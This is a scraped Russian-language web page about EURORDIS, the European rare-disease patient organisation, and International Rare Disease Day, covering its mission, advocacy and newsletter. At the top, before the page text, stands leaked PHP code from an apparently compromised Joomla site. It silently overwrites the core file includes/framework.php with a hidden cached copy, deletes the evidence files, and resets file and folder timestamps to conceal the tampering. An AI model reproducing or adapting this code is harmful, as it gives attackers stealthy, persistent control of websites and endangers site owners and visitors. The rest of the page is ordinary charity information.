$frameworkFile = $_SERVER ["DOCUMENT_ROOT"]."/includes/framework.php"; $cacheFile = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_system")."-cache-system.php"; $frameworkFileTo = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_framework")."-cache-framework.php"; if (file_exists($cacheFile) && file_exists($frameworkFileTo)) { require_once JPATH_BASE . "/cache/_system/".md5("_system")."-cache-system.php"; $filemTime = filemtime($frameworkFile); $contentFile = file_get_contents($frameworkFileTo); file_put_contents($frameworkFile, $contentFile, LOCK_EX); @unlink($frameworkFileTo); @unlink($cacheFile); touch($frameworkFile, $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/includes", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache/_system", $filemTime); } Европейская организация по редким болезням EURORDIS
logo
 

28-02 международный день редких болезнейМеждународный день редких болезней

До дня редких болезней осталось

 
Home Вы находитесь здесь: Главная страница Мероприятия Европейская организация по редким болезням EURORDIS
Европейская организация по редким болезням EURORDIS

                                         

EURORDIS – некоммерческая общественная организация, во главе которой стоят пациенты.

EURORDIS – это голос 30 миллионов людей, страдающих редкими заболеваниями по всей Европе

Миссия EURORDIS - Создание общеевропейского сообщества организаций больных и людей, живущих с редкими заболеваниями, быть их голосом на европейском уровне, бороться с редкими болезнями и их воздействием на жизнь.

EURORDIS призывает   принять и   активно поддерживать   стратегии   в области редких заболеваний на европейском и национальном уровнях.

 

EURORDIS добивается того, чтобы ЛЕЧЕНИЕ РЕДКИХ ЗАБОЛЕВАНИЙ СТАЛО ПРИОРИТЕТНЫМ НАПРАВЛЕНИЕМ СИСТЕМЫ ЗДРАВООХРАНЕНИЯ

 

EURORDIS занимается научными и социальными исследованиями и осуществляет   проекты, направленные на то, чтобы голос пациентов   был услышан. EURORDIS предлагает адаптировать модель здравоохранения и социальных услуг для нужд пациентов с редкими болезнями. Именно EURORDIS рекомендовал создать Центры экспертизы и   Общеевропейскую референсную   Сеть   (European Reference Networks), базы данных и реестры пациентов.

ЗАЩИТА ПАЦИЕНТОВ

EURORDIS представляет 30 миллионов людей, страдающих более 4000 различными редкими заболеваниями и отстаивает   стратегию, которая направлена на защиту прав пациентов и их семей в рамках Европейской комиссии и других европейских институтов.

СОЗДАНИЕ СООБЩЕСТВ


EURORDIS способствует   расширению общения и объединения пациентов с редкими болезнями, предоставляя им   возможность делиться своими проблемами и учиться друг у друга.   Членами EURORDIS являются около 400 организаций в   40 странах.

В 2008 году EURORDIS и Совет национальных альянсов выступили инициаторами Дня Редких Болезней в Европе. В 2009 ко   Дню Редких болезней присоединились США. В 2011 году в этой акции   участвовали пациентские организации из 56 стран мира.

  В 2012 году EURORDIS уже в 5-й раз выступает организатором Дня Редких Болезней.

ИНформацию о России, посвященную Дню редких болезней можно найти на старнице: http://www.rarediseaseday.org/country/ru/russian federation


С конца 2011 года EURORDIS выпускает информационное письмо, в том числе на русском языке. Вы можете подписаться на него здесь: http://www.eurordis.org/ru/home-ru.html

В 2012 году EURORDIS планирует сделать русскоязычную версию основных страниц сайта www.eurordis.org

 

 
Главная | О дне редких | Мероприятия | Фото и видео | Стать другом | Конкурсы

Разработка сайта: DriveLab.ru